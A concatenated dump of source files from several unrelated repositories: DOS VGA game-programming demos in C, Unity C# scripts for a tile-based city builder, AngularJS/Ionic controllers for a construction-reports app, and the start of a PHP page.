if (right_edge==1 && (yi>=poly_clip_min_y && yi<=poly_clip_max_y) )
{
*x1 = poly_clip_max_x;
*y1 = yi;
success = 1;
} // end if intersected right edge
else
if (left_edge==1 && (yi>=poly_clip_min_y && yi<=poly_clip_max_y) )
{
*x1 = poly_clip_min_x;
*y1 = yi;
success = 1;
} // end if intersected left edge
if (bottom_edge==1 && (xi>=poly_clip_min_x && xi<=poly_clip_max_x) )
{
*x1 = xi;
*y1 = poly_clip_max_y;
success = 1;
} // end if intersected bottom edge
else
if (top_edge==1 && (xi>=poly_clip_min_x && xi<=poly_clip_max_x) )
{
*x1 = xi;
*y1 = poly_clip_min_y;
success = 1;
} // end if intersected top edge
} // end if point_2 is visible
// SECTION 7 /////////////////////////////////////////////////////////////////
return(success);
} // end Clip_Line
//////////////////////////////////////////////////////////////////////////////
void Draw_Polygon_Clip(polygon_ptr poly)
{
// this function draws a polygon on the screen with clipping
// also the polygon will always be unfilled regardless
// of the fill flag in the polygon structure
int index, // loop index
xo,yo, // local origin
x1,y1, // end points of current line being processed
x2,y2;
// extract local origin
xo = poly->lxo;
yo = poly->lyo;
// draw polygon
for (index=0; index<poly->num_vertices-1; index++)
{
// extract the line
x1 = (int)poly->vertices[index].x+xo;
y1 = (int)poly->vertices[index].y+yo;
x2 = (int)poly->vertices[index+1].x+xo;
y2 = (int)poly->vertices[index+1].y+yo;
// clip line to viewing screen and draw unless line is totally invisible
if (Clip_Line(&x1,&y1,&x2,&y2))
{
// line was clipped and now can be drawn
Bline(x1,y1,x2,y2,poly->b_color);
} // end if draw line
} // end for index
// close polygon? // close polygon
if (!poly->closed)
return;
// extract the line
x1 = (int)poly->vertices[index].x+xo;
y1 = (int)poly->vertices[index].y+yo;
x2 = (int)poly->vertices[0].x+xo;
y2 = (int)poly->vertices[0].y+yo;
// clip line to viewing screen and draw unless line is totally invisible
if (Clip_Line(&x1,&y1,&x2,&y2))
{
// line was clipped and now can be drawn
Bline(x1,y1,x2,y2,poly->b_color);
} // end if draw line
} // end Draw_Polygon_Clip
//////////////////////////////////////////////////////////////////////////////
void Bline(int xo, int yo, int x1,int y1, unsigned char color)
{
// this function uses Bresenham's algorithm IBM (1965) to draw a line from
// (xo,yo) - (x1,y1)
int dx, // difference in x's
dy, // difference in y's
x_inc, // amount in pixel space to move during drawing
y_inc, // amount in pixel space to move during drawing
error=0, // the discriminant i.e. error i.e. decision variable
index; // used for looping
unsigned char far *vb_start = video_buffer; // directly access the video
// buffer for speed
// SECTION 1 /////////////////////////////////////////////////////////////////
// pre-compute first pixel address in video buffer
// use shifts for multiplication
vb_start = vb_start + ((unsigned int)yo<<6) +
((unsigned int)yo<<8) +
(unsigned int)xo;
// compute deltas
dx = x1-xo;
dy = y1-yo;
// SECTION 2 /////////////////////////////////////////////////////////////////
// test which direction the line is going in i.e. slope angle
if (dx>=0)
{
x_inc = 1;
} // end if line is moving right
else
{
x_inc = -1;
dx = -dx; // need absolute value
} // end else moving left
// SECTION 3 /////////////////////////////////////////////////////////////////
// test y component of slope
if (dy>=0)
{
y_inc = 320; // 320 bytes per line
} // end if line is moving down
else
{
y_inc = -320;
dy = -dy; // need absolute value
} // end else moving up
// SECTION 4 /////////////////////////////////////////////////////////////////
// now based on which delta is greater we can draw the line
if (dx>dy)
{
// draw the line
for (index=0; index<=dx; index++)
{
// set the pixel
*vb_start = color;
// adjust the discriminate
error+=dy;
// test if error overflowed
if (error>dx)
{
error-=dx;
// move to next line
vb_start+=y_inc;
} // end if error overflowed
// move to the next pixel
vb_start+=x_inc;
} // end for
} // end if |slope| <= 1
else
{
// SECTION 5 /////////////////////////////////////////////////////////////////
// draw the line
for (index=0; index<=dy; index++)
{
// set the pixel
*vb_start = color;
// adjust the discriminate
error+=dx;
// test if error overflowed
if (error>0)
{
error-=dy;
// move to next line
vb_start+=x_inc;
} // end if error overflowed
// move to the next pixel
vb_start+=y_inc;
} // end for
} // end else |slope| > 1
} // end Bline
///////////////////////////////////////////////////////////////////////////////
void Draw_Boundary(int color)
{
// draws in the clipping boundary if user is intersted in seeing it
Bline(poly_clip_min_x,poly_clip_min_y,
poly_clip_max_x,poly_clip_min_y,color);
Bline(poly_clip_max_x,poly_clip_min_y,
poly_clip_max_x,poly_clip_max_y,color);
Bline(poly_clip_max_x,poly_clip_max_y,
poly_clip_min_x,poly_clip_max_y,color);
Bline(poly_clip_min_x,poly_clip_max_y,
poly_clip_min_x,poly_clip_min_y,color);
} // end Draw_Boundary
///////////////////////////////////////////////////////////////////////////////
<file_sep>/day_13/friction.c
// I N C L U D E S ///////////////////////////////////////////////////////////
#include <io.h>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <dos.h>
#include <bios.h>
#include <fcntl.h>
#include <memory.h>
#include <malloc.h>
#include <math.h>
#include <string.h>
#include "graph3.h" // include our graphics stuff
#include "graph4.h"
#include "graph6.h"
// D E F I N E S /////////////////////////////////////////////////////////////
#define FRICTION 1 // virtual frictional coefficeint of water
// G L O B A L S ////////////////////////////////////////////////////////////
pcx_picture imagery_pcx, // the game imagery
background_pcx; // the backdrop
// the sprites used in the game
sprite object; // the object
// F U N C T I O N S //////////////////////////////////////////////////////////
void main(void)
{
int torpedo_xv=0, // initial velocities
torpedo_yv=0,
fired=0, // state of torpedo
done=0; // exit variable
// SECTION 1 //////////////////////////////////////////////////////////////////
// set video mode to 320x200 256 color mode
Set_Video_Mode(VGA256);
// create a double buffer
if (!Create_Double_Buffer(SCREEN_HEIGHT))
{
printf("\nNot enough memory to create double buffer.");
} // end if
// clear the double buffer
Fill_Double_Buffer(0);
// SECTION 2 //////////////////////////////////////////////////////////////////
// load in the background image into the double buffer
PCX_Init((pcx_picture_ptr)&background_pcx);
PCX_Load("ship.pcx", (pcx_picture_ptr)&background_pcx,1);
// copy the background into the double buffer
_fmemcpy((char far *)double_buffer,
(char far *)(background_pcx.buffer),
SCREEN_WIDTH*SCREEN_HEIGHT);
PCX_Delete((pcx_picture_ptr)&background_pcx);
// load in imagery for object
PCX_Init((pcx_picture_ptr)&imagery_pcx);
PCX_Load("torpedo.pcx", (pcx_picture_ptr)&imagery_pcx,1);
// SECTION 3 //////////////////////////////////////////////////////////////////
// initialize player and extract bitmaps
sprite_width = 8;
sprite_height = 8;
Sprite_Init((sprite_ptr)&object,0,0,0,0,0,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,(sprite_ptr)&object,0,0,0);
object.x = 154;
object.y = 178;
object.curr_frame = 0;
object.state = 1;
// draw instructions
Blit_String_DB(8,8,15,"Press 'Q' to quit, 'F' to fire.",1);
// scan behind all objects before entering event loop
Behind_Sprite_DB((sprite_ptr)&object);
// SECTION 4 //////////////////////////////////////////////////////////////////
// main event loop
while(!done)
{
// erase all objects
Erase_Sprite_DB((sprite_ptr)&object);
// SECTION 5 //////////////////////////////////////////////////////////////////
// test if user is trying to fire torpedo
if (kbhit())
{
switch(getch())
{
case 'q': // just exit?
{
done=1;
} break;
case 'f':
case 'F': // fire the torpedo
{
// make sure torpedo hasn't been fired
if (!fired)
{
// set flag that torpedo has been fired
fired=1;
// set initial velocity or torpedo
torpedo_xv = 0; // no movement X direction
torpedo_yv = -16; // initial velocity, note it is
// negative since torped is moving
// upward
} // end if
} break;
} // end switch
} // end if kbhit
// SECTION 6 //////////////////////////////////////////////////////////////////
// test if torpedo has been fired
if (fired)
{
// do translation
object.x+=torpedo_xv;
object.y+=torpedo_yv;
// apply water friction only to vertical component of velocity
torpedo_yv+=FRICTION;
// test if velocity has become postive or zero
if (torpedo_yv>0)
torpedo_yv = 0;
} // end if fired
// SECTION 7 //////////////////////////////////////////////////////////////////
// scan background under objects
Behind_Sprite_DB((sprite_ptr)&object);
// draw all the imagery
Draw_Sprite_DB((sprite_ptr)&object);
// copy the double buffer to the screen
Show_Double_Buffer(double_buffer);
// wait a sec
Delay(1);
} // end while
// SECTION 8 //////////////////////////////////////////////////////////////////
// reset the video mode back to text
Set_Video_Mode(TEXT_MODE);
// free the double buffer
Delete_Double_Buffer();
} // end main
<file_sep>/day_03/BLIT2.C
// I N C L U D E S ///////////////////////////////////////////////////////////
#include <stdio.h>
#include <stdlib.h>
#include <conio.h>
#include "graph3.h" // this is all we need to include so that the program
// knows all the #defines, structures, prototypes etc.
// P R O T O T Y P E S ///////////////////////////////////////////////////////
void Blit2_Char(int xc,int yc,char c,int color1, int color2, int trans_flag);
void Blit2_String(int x,int y,int color1, int color2, char *string,int trans_flag);
// M A I N ///////////////////////////////////////////////////////////////////
int main()
{
// set video mode to 320x200 256 color mode
Set_Video_Mode(VGA256);
//draw a string
Blit2_String(42, 99, 0x07, 0x0c, "Hello, World", 1);
// wait for a key to be pressed
while(!kbhit()) { }
Set_Video_Mode(TEXT_MODE);
}
// F U N C T I O N S /////////////////////////////////////////////////////////
void Blit2_Char(int xc,int yc,char c,int color1, int color2, int trans_flag)
{
// this function uses the rom 8x8 character set to blit a character on the
// video screen, notice the trick used to extract bits out of each character
// byte that comprises a line
int color = color1;
int offset,x,y;
char far *work_char;
unsigned char bit_mask = 0x80;
// compute starting offset in rom character lookup table
work_char = rom_char_set + c * CHAR_HEIGHT;
// compute offset of character in video buffer
offset = (yc << 8) + (yc << 6) + xc;
for (y=0; y<CHAR_HEIGHT; y++)
{
//select the color
if(y%2) {
color = color1;
} else {
color = color2;
}
// reset bit mask
bit_mask = 0x80;
for (x=0; x<CHAR_WIDTH; x++)
{
// test for transparent pixel i.e. 0, if not transparent then draw
if ((*work_char & bit_mask))
video_buffer[offset+x] = color;
else if (!trans_flag) // takes care of transparency
video_buffer[offset+x] = 0;
// shift bit mask
bit_mask = (bit_mask>>1);
} // end for x
// move to next line in video buffer and in rom character data area
offset += SCREEN_WIDTH;
work_char++;
} // end for y
} // end Blit_Char
//////////////////////////////////////////////////////////////////////////////
void Blit2_String(int x,int y,int color1, int color2, char *string,int trans_flag)
{
// this function blits an entire string on the screen with fixed spacing
// between each character. it calls blit_char.
int index;
for (index=0; string[index]!=0; index++)
{
Blit2_Char(x+(index<<3),y,string[index],color1,color2,trans_flag);
} /* end while */
} /* end Blit_String */
<file_sep>/day_03/FADE.C
// I N C L U D E S ///////////////////////////////////////////////////////////
#include <stdio.h>
#include <stdlib.h>
#include <conio.h>
#include "graph3.h" // this is all we need to include so that the program
// knows all the #defines, structures, prototypes etc.
// M A I N ///////////////////////////////////////////////////////////////////
void main(void)
{
RGB_color color;
int done;
int x,y;
int i;
// set video mode to 320x200 256 color mode
Set_Video_Mode(VGA256);
//set each pixel to a random value
for(x=0; x<320; x++) {
for(y=0; y<200; y++) {
Plot_Pixel_Fast(x, y, (unsigned char)(rand() & 0xff));
}
}
// fade to black
do {
//assume this is the last time
done = 1;
//decrement every register
for(i=0; i<=255; i++) {
Get_Palette_Register(i, &color);
if(color.red) {
done = 0;
color.red--;
}
if(color.green) {
done = 0;
color.green--;
}
if(color.blue) {
done = 0;
color.blue--;
}
Set_Palette_Register(i, &color);
}
Delay(2); //sloooowly
} while(!done);
Set_Video_Mode(TEXT_MODE);
}
<file_sep>/day_08/graph8.h
// D E F I N E S /////////////////////////////////////////////////////////////
#define FP_SHIFT 8 // number of binary decimal digits
#define FP_SHIFT_2N 256 // 2^FP_SHIFT, used during conversion of floats
// S T R U C T U R E S ///////////////////////////////////////////////////////
// define our new magical fixed point data type
typedef long fixed;
// P R O T O T Y P E S ///////////////////////////////////////////////////////
fixed Assign_Integer(long integer);
fixed Assign_Float(float number);
fixed Mul_Fixed(fixed f1,fixed f2);
fixed Div_Fixed(fixed f1,fixed f2);
fixed Add_Fixed(fixed f1,fixed f2);
fixed Sub_Fixed(fixed f1,fixed f2);
void Print_Fixed(fixed f1);
<file_sep>/gamelib/graph7j.h
// D E F I N E S ////////////////////////////////////////////////////////////
#define JOYPORT 0x201 // joyport is at 201 hex
#define BUTTON_1_1 0x10 // joystick 1, button 1
#define BUTTON_1_2 0x20 // joystick 1, button 2
#define BUTTON_2_1 0x40 // joystick 2, button 1
#define BUTTON_2_2 0x80 // joystick 2, button 2
#define JOYSTICK_1 0x01 // joystick 1, in general
#define JOYSTICK_2 0x02 // joystick 2, in general
#define JOYSTICK_1_X 0x01 // joystick 1, x axis
#define JOYSTICK_1_Y 0x02 // joystick 1, y axis
#define JOYSTICK_2_X 0x04 // joystick 2, x axis
#define JOYSTICK_2_Y 0x08 // joystick 2, y axis
#define JOY_1_CAL 1 // command to calibrate joystick #1
#define JOY_2_CAL 2 // command to calibrate joystick #2
// G L O B A L S ////////////////////////////////////////////////////////////
extern unsigned int joy_1_max_x, // global joystick calibration variables
joy_1_max_y,
joy_1_min_x,
joy_1_min_y,
joy_1_cx,
joy_1_cy,
joy_2_max_x,
joy_2_max_y,
joy_2_min_x,
joy_2_min_y,
joy_2_cx,
joy_2_cy;
// P R O T O T Y P E S ///////////////////////////////////////////////////////
unsigned char Buttons(unsigned char button);
unsigned int Joystick(unsigned char stick);
unsigned int Joystick_Bios(unsigned char stick);
unsigned char Buttons_Bios(unsigned char button);
void Joystick_Calibrate(int stick);
int Joystick_Available(int stick_num);
<file_sep>/day_05/SCALE.C
//Draw a circle
#include <io.h>
#include <stdlib.h>
#include "graph3.h"
#include "graph4.h"
#include "graph5.h"
void Scale2_Polygon(polygon_ptr poly, float sx, float sy);
int main()
{
polygon ship;
// build up a little spaceship polygon
ship.vertices[0].x = 3;
ship.vertices[0].y = -19;
ship.vertices[1].x = 12;
ship.vertices[1].y = -1;
ship.vertices[2].x = 17;
ship.vertices[2].y = 2;
ship.vertices[3].x = 17;
ship.vertices[3].y = 9;
ship.vertices[4].x = 8;
ship.vertices[4].y = 14;
ship.vertices[5].x = 5;
ship.vertices[5].y = 8;
ship.vertices[6].x = -5;
ship.vertices[6].y = 8;
ship.vertices[7].x = -8;
ship.vertices[7].y = 14;
ship.vertices[8].x = -17;
ship.vertices[8].y = 9;
ship.vertices[9].x = -17;
ship.vertices[9].y = 2;
ship.vertices[10].x = -12;
ship.vertices[10].y = -1;
ship.vertices[11].x = -3;
ship.vertices[11].y = -19;
ship.vertices[12].x = -3;
ship.vertices[12].y = -8;
ship.vertices[13].x = 3;
ship.vertices[13].y = -8;
// set position of shaceship
ship.lxo = 160;
ship.lyo = 100;
ship.num_vertices = 14;
ship.b_color = 1;
ship.closed = 1;
//set up trig tables
Create_Tables();
//go graphical
Set_Video_Mode(VGA256);
//scale and draw
Scale2_Polygon(&ship, 1.5, 5);
Draw_Polygon_Clip((polygon_ptr)&ship);
//wait for keypress
while(!kbhit());
//back to text mode
Set_Video_Mode(TEXT_MODE);
}
void Scale2_Polygon(polygon_ptr poly, float sx, float sy)
{
int index;
// scale each vertex of the polygon
for (index=0; index<poly->num_vertices; index++)
{
// multiply by the scaling factor
poly->vertices[index].x*=sx;
poly->vertices[index].y*=sy;
} // end for
} // end Scale_Polygon
<file_sep>/day_03/colorrot.c
// I N C L U D E S ///////////////////////////////////////////////////////////
#include <io.h>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <dos.h>
#include <bios.h>
#include <fcntl.h>
#include <memory.h>
#include <math.h>
#include <string.h>
// D E F I N E S ////////////////////////////////////////////////////////////
#define VGA256 0x13
#define TEXT_MODE 0x03
#define PALETTE_MASK 0x3c6
#define PALETTE_REGISTER_RD 0x3c7
#define PALETTE_REGISTER_WR 0x3c8
#define PALETTE_DATA 0x3c9
#define SCREEN_WIDTH (unsigned int)320
#define SCREEN_HEIGHT (unsigned int)200
// S T R U C T U R E S ///////////////////////////////////////////////////////
// this structure holds a RGB triple in three bytes
typedef struct RGB_color_typ
{
unsigned char red; // red component of color 0-63
unsigned char green; // green component of color 0-63
unsigned char blue; // blue component of color 0-63
} RGB_color, *RGB_color_ptr;
// P R O T O T Y P E S ///////////////////////////////////////////////////////
void Set_Palette_Register(int index, RGB_color_ptr color);
void Get_Palette_Register(int index, RGB_color_ptr color);
void Create_Cool_Palette(void);
void H_Line(int x1,int x2,int y,unsigned int color);
// G L O B A L S ////////////////////////////////////////////////////////////
unsigned char far *video_buffer = (char far *)0xA0000000L; // vram byte ptr
// F U N C T I O N S /////////////////////////////////////////////////////////
void Set_Palette_Register(int index, RGB_color_ptr color)
{
// this function sets a single color look up table value indexed by index
// with the value in the color structure
// tell VGA card we are going to update a pallete register
_outp(PALETTE_MASK,0xff);
// tell vga card which register we will be updating
_outp(PALETTE_REGISTER_WR, index);
// now update the RGB triple, note the same port is used each time
_outp(PALETTE_DATA,color->red);
_outp(PALETTE_DATA,color->green);
_outp(PALETTE_DATA,color->blue);
} // end Set_Palette_Color
///////////////////////////////////////////////////////////////////////////////
void Get_Palette_Register(int index, RGB_color_ptr color)
{
// this function gets the data out of a color lookup regsiter and places it
// into color
// set the palette mask register
_outp(PALETTE_MASK,0xff);
// tell vga card which register we will be reading
_outp(PALETTE_REGISTER_RD, index);
// now extract the data
color->red = _inp(PALETTE_DATA);
color->green = _inp(PALETTE_DATA);
color->blue = _inp(PALETTE_DATA);
} // end Get_Palette_Color
///////////////////////////////////////////////////////////////////////////////
void Create_Cool_Palette(void)
{
// this function creates a cool palette. 64 shades of gray, 64 of red,
// 64 of green and finally 64 of blue.
RGB_color color;
int index;
// swip thru the color registers and create 4 banks of 64 colors
for (index=0; index < 64; index++)
{
// grays
color.red = index;
color.green = index;
color.blue = index;
Set_Palette_Register(index, (RGB_color_ptr)&color);
// reds
color.red = index;
color.green = 0;
color.blue = 0;
Set_Palette_Register(index+64, (RGB_color_ptr)&color);
// greens
color.red = 0;
color.green = index;
color.blue = 0;
Set_Palette_Register(index+128, (RGB_color_ptr)&color);
// blues
color.red = 0;
color.green = 0;
color.blue = index;
Set_Palette_Register(index+192, (RGB_color_ptr)&color);
} // end index
// make color 0 black
color.red = 0;
color.green = 0;
color.blue = 0;
Set_Palette_Register(0, (RGB_color_ptr)&color);
} // end Create_Cool_Palette
//////////////////////////////////////////////////////////////////////////////
void Set_Video_Mode(int mode)
{
// use the video interrupt 10h to set the video mode to the sent value
union REGS inregs,outregs;
inregs.h.ah = 0; // set video mode sub-function
inregs.h.al = (unsigned char)mode; // video mode to change to
_int86(0x10, &inregs, &outregs);
} // end Set_Video_Mode
//////////////////////////////////////////////////////////////////////////////
void H_Line(int x1,int x2,int y,unsigned int color)
{
// draw a horizontal line useing the memset function
// note x2 > x1
_fmemset((char far *)(video_buffer + ((y<<8) + (y<<6)) + x1),color,x2-x1+1);
} // end H_Line
//M A I N /////////////////////////////////////////////////////////////////////
void main(void)
{
int index, // loop var
x1=150, // x1 & x2 are the edges of the current piece of the road
x2=170,
y=0, // y is the current y position of the piece of road
curr_color=1; // the current color being drawn
RGB_color color,color_1;
// set video mode to 320x200 256 color mode
Set_Video_Mode(VGA256);
// create the color palette
Create_Cool_Palette();
printf("Press any key to exit.");
// draw a road to nowhere
for (y=80; y<200; y++)
{
// draw next horizontal piece of road
H_Line(x1,x2,y,curr_color);
// make the road wider
if (--x1 < 0)
x1=0;
if (++x2 > 319)
x2=319;
// next color please
if (++curr_color>255)
curr_color=1;
} // end for
// wait for user to hit a key
while(!kbhit())
{
Get_Palette_Register(1,(RGB_color_ptr)&color_1);
for (index=1; index<=254; index++)
{
Get_Palette_Register(index+1,(RGB_color_ptr)&color);
Set_Palette_Register(index,(RGB_color_ptr)&color);
} // end for
Set_Palette_Register(255,(RGB_color_ptr)&color_1);
} // end while
// go back to text mode
Set_Video_Mode(TEXT_MODE);
} // end main
| e8bc68ebc8c69a9d9b6ce1c18b2d1a996e2a8dcf | [
"Markdown",
"C"
] | 66 | C | pngwen/TYGAME21 | e9e10e682410db4a16200b5284483681b9201eb2 | 651e58de5547ead06253adf44afa039203db245a |
refs/heads/master | <repo_name>FuzzyNickels/CityBuildingGame<file_sep>/TestBuilder/Assets/Scripts/Camera/ZoomScript.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class ZoomScript : MonoBehaviour {
public float zoomSpeed = 1;
public float targetOrtho;
public float smoothSpeed = 2.0f;
public float minOrtho = 1.0f;
public float maxOrtho = 20.0f;
// Use this for initialization
void Start () {
targetOrtho = Camera.main.orthographicSize;
}
// Update is called once per frame
void Update () {
if (Input.GetMouseButtonDown(0)){
selectTile();
}
float scroll = Input.GetAxis("Mouse ScrollWheel");
if (scroll != 0.0f)
{
targetOrtho -= scroll * zoomSpeed;
targetOrtho = Mathf.Clamp(targetOrtho, minOrtho, maxOrtho);
}
Camera.main.orthographicSize = Mathf.MoveTowards(Camera.main.orthographicSize, targetOrtho, smoothSpeed * Time.deltaTime);
}
void selectTile(){
Vector2 mousePoint = Camera.main.ScreenToWorldPoint(Input.mousePosition);
//RaycastHit2D hit = Physics2D.Raycast(Camera.main.transform.position, mousePoint);
RaycastHit2D hit = Physics2D.Raycast(mousePoint, Vector2.down);
if (hit.collider != null){
if(hit.collider.tag == "Tile"){
GameObject hitObject = hit.collider.gameObject;
Debug.Log(hitObject.name);
SpriteRenderer hit_sr = hitObject.GetComponent<SpriteRenderer>();
hit_sr.color = Color.red;
}
}
}
}<file_sep>/TestBuilder/Assets/Scripts/mouseScript.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class mouseScript : MonoBehaviour {
Vector3 lastFramePosition;
// Use this for initialization
void Start () {
}
// Update is called once per frame
void Update () {
Vector3 curFramePosition = Camera.main.ScreenToWorldPoint(Input.mousePosition);
// Screen drag
if(Input.GetMouseButton(0)) {
Vector3 diff = lastFramePosition - curFramePosition;
Camera.main.transform.Translate(diff);
}
lastFramePosition = Camera.main.ScreenToWorldPoint(Input.mousePosition);
}
}
<file_sep>/TestBuilder/Assets/Scripts/startButton.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.SceneManagement;
public class StartGame : MonoBehaviour {
// Use this for initialization
void Start()
{
}
public void LoadScene(string sceneName)
{
SceneManager.LoadScene(sceneName);
}
public void testButton(string testString)
{
Debug.Log(testString);
}
}
<file_sep>/TestBuilder/Assets/Scripts/Models/World.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class World : MonoBehaviour {
public Sprite testSprite;
public int worldWidth = 3;
public int worldHeight = 3;
public GameObject tileObject;
// Use this for initialization
void Start () {
buildWorld();
}
// Update is called once per frame
void Update () {
}
void buildWorld(){
for (int x = 0; x < worldWidth; x++)
{
for (int y = 0; y < worldHeight; y++)
{
GameObject tempTile;
tempTile = Instantiate(tileObject, new Vector3(0,0,0), Quaternion.identity);
tempTile.name = "Tile_" + x + "," + y;
tempTile.transform.SetParent(this.transform);
SpriteRenderer tile_sr = tempTile.GetComponent<SpriteRenderer>();
float tileWidth = tile_sr.bounds.size.x;
float tileHeight = tile_sr.bounds.size.y;
float isox = (x - y) * tileWidth / 2;
float isoy = (x + y) * tileWidth / 4;
tempTile.transform.position = new Vector2(x, y);
}
}
}
}
<file_sep>/TestBuilder/Assets/Scripts/Models/Tile.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class Tile : MonoBehaviour {
public Tile (){
}
private SpriteRenderer spriteR;
public Sprite[] sprites;
// 0 = Trees (Grassy)
// 1 = Water
// 2 = Dirt
// 3 = Building
// Use this for initialization
void Start () {
spriteR = this.GetComponent<SpriteRenderer>();
Sprite tileSprite = randomizeSprite();
spriteR.sprite = tileSprite;
}
// Update is called once per frame
void Update () {
}
public Sprite randomizeSprite(){
int randomNum = Random.Range(0, 4);
Sprite setSprite = sprites[randomNum];
return setSprite;
}
}
| 6807de63405e61e6157d43c85c29cd0e6107edea | [
"C#"
] | 5 | C# | FuzzyNickels/CityBuildingGame | 1db192b2e29f17323c65f43eedee4c1865deaf7f | 64a7d7f398ded9602ada3a7dff21643c2db31c3b |
refs/heads/main | <file_sep>using System;
using System.Collections.Generic;
namespace lb_6
{
class Program
{
static void BFSD(int v, int[,] matrix, int[] DIST, int size)
{
Queue<int> queue = new Queue<int>(); //Создаем новую очередь
queue.Enqueue(v); //Помещаем v в очередь
DIST[v] = 0;
Console.WriteLine();
Console.Write("Результат обхода: ");
while (queue.Count != 0)
{
v = queue.Dequeue();//Удаляем первый элемент из очереди
Console.Write(v);
for (int i = 0; i < size; i++)
{
if ( matrix [v, i] == 1 && DIST[i] == -1)
{
queue.Enqueue(i); //Помещаем i в очередь
DIST[i] = DIST[v] + 1;
}
}
}
}
static void Main(string[] args)
{
Console.Write("Введите вершину для начала обхода:");
int v = Convert.ToInt32(Console.ReadLine());
Console.Write("Введите размерность матрицы:");
int size = Convert.ToInt32(Console.ReadLine());
int[,] M = new int[size, size];
int[] DIST = new int[size];
for (int i = 0; i < size; i++)
{
DIST[i] = -1;
}
Random random = new Random();
Console.WriteLine();
Console.WriteLine("Сгененрированная матрица:\t");
for (int i = 1; i < size; i++)
{
for (int j = 0; j < i; j++)
{
M[i, j] = random.Next(2);
M[j, i] = M[i, j];
}
}
for (int i = 0; i < size; i++)
{
for (int j = 0; j < size; j++)
{
Console.Write($"{M[i, j]}, \t");
}
Console.WriteLine();
}
BFSD(v, M, DIST, size);
Console.WriteLine("\n");
Console.Write("Расстояния: ");
for (int i = 0; i < size; i++)
{
Console.Write(DIST[i]);
}
}
}
}
| ae4c1eaaa0c8f263a849f0e96458487122817e83 | [
"C#"
] | 1 | C# | LizaM19/Lab_6 | 65a4abf39f173770d47601c495b1296205f5f9a7 | f64169ab456ef9ef63f01f0c8a56cfbe78da0f92 |
refs/heads/master | <repo_name>zsmithssf/ConstructionReports<file_sep>/ConstructionReports/www/js/controller.js
angular.module('starter.controllers', [])
.controller('LoginCtrl',['$scope', '$state', 'UserService', '$ionicHistory', function($scope, $state, UserService, $ionicHistory) {
$scope.user = {};
$scope.loginSubmitForm = function(form)
{
if(form.$valid)
{
UserService.login($scope.user)
.then(function(response) {
if (response.status === 200) {
//Should return a token
$ionicHistory.nextViewOptions({
historyRoot: true,
disableBack: true
});
$state.go('lobby');
} else {
// invalid response
alert("Something went wrong, try again.");
}
}, function(response) {
// Code 401 corresponds to Unauthorized access, in this case, the email/password combination was incorrect.
if(response.status === 401)
{
alert("Incorrect username or password");
}else if(response.data === null) {
//If the data is null, it means there is no internet connection.
alert("The connection with the server was unsuccessful, check your internet connection and try again later.");
}else {
alert("Something went wrong, try again.");
}
});
}
};
}])
.controller('RegisterCtrl',['$scope', '$state', 'UserService', '$ionicHistory', '$window',
function($scope, $state, UserService, $ionicHistory, $window) {
$scope.user = {};
$scope.repeatPassword = {};
function loginAfterRegister()
{
UserService.login($scope.user)
.then(function(response) {
if (response.status === 200) {
//Should return a token
$window.localStorage["userID"] = response.data.userId;
$window.localStorage['token'] = response.data.id;
$ionicHistory.nextViewOptions({
historyRoot: true,
disableBack: true
});
$state.go('lobby');
} else {
// invalid response
$state.go('landing');
}
resetFields();
}, function(response) {
// something went wrong
$state.go('landing');
resetFields();
});
}
$scope.registerSubmitForm = function(form)
{
if(form.$valid)
{
if($scope.user.password !== $scope.repeatPassword.password) {
alert("Error", "Passwords do not match.");
} else {
UserService.create($scope.user)
.then(function(response) {
if (response.status === 200) {
loginAfterRegister();
form.$setPristine();
} else {
// invalid response
alert("Error","Something went wrong, try again.");
}
}, function(response) {
//Code 422 shows that the email is already registered.
if(response.status === 422)
{
alert("Error", "Email already in use.");
} else if(response.data === null) {
//If the data is null, it means there is no internet connection.
alert("Error", "The connection with the server was unsuccessful, check your internet connection and try again later.");
} else {
alert("Error", "Something went wrong, try again");
}
}
)}
}
};
function resetFields()
{
$scope.user.email = "";
$scope.user.firstName = "";
$scope.user.lastName = "";
$scope.user.organization = "";
$scope.user.password = "";
$scope.repeatPassword.password = "";
}
}])
.controller('ReportsCtrl',['$scope', '$window', 'ReportsService', function($scope, $window, ReportsService) {
$scope.groups = [];
$scope.state = -1;
$scope.getState = function(a) {
return $scope.state === a;
};
$scope.setState = function(currentState) {
if(currentState === $scope.state) {
$scope.state = -1;
}
else {
$scope.state = currentState;
}
};
$scope.reportsList = {};
$scope.Reports = [];
$scope.example = function() {
ReportsService.all($window.localStorage.token, $scope.Reports)
.then(function(response) {
console.log(response);
$scope.reportsList = response.data;
for (var i=0; i<$scope.reportsList.length; i++) {
$scope.groups[i] = {
name: i,
items: []
};
for (var j=0; j<3; j++) {
$scope.groups[i].items.push(i + '-' + j);
}
}
});
};
$scope.example();
}])
.controller('CreateReportsCtrl',['$scope', '$window', 'SeverityService', 'TradeService', function($scope, $window, SeverityService, TradeService) {
$scope.groups = [];
$scope.state = -1;
$scope.getState = function(a) {
return $scope.state === a;
};
$scope.setState = function(currentState) {
if(currentState === $scope.state) {
$scope.state = -1;
}
else {
$scope.state = currentState;
}
};
$scope.severityList = {};
$scope.tradeList = {};
$scope.Severity = [];
$scope.Trade = [];
$scope.examplea = function() {
SeverityService.all($window.localStorage.token, $scope.Severity)
.then(function(response) {
console.log(response);
$scope.severityList = response.data;
for (var i=0; i<$scope.severityList.length; i++) {
$scope.groups[i] = {
name: i,
items: []
};
for (var j=0; j<3; j++) {
$scope.groups[i].items.push(i + '-' + j);
}
}
});
};
$scope.examples = function() {
TradeService.all($window.localStorage.token, $scope.Trade)
.then(function(response) {
console.log(response);
$scope.tradeList = response.data;
for (var i=0; i<$scope.tradeList.length; i++) {
$scope.groups[i] = {
name: i,
items: []
};
for (var j=0; j<3; j++) {
$scope.groups[i].items.push(i + '-' + j);
}
}
});
};
$scope.examplea();
$scope.examples();
}]); | c858810fff9e01d38f639136a62421842dbde480 | [
"JavaScript"
] | 1 | JavaScript | zsmithssf/ConstructionReports | 1c2c97f67a16a29391a6dfe41225649e9a31385b | 732f86f6f772551502c5455aeef12f4a130bf950 |
refs/heads/master | <repo_name>victorh18/tarea7<file_sep>/application/views/inicio.php
<html>
<head>
<title>Semaforo</title>
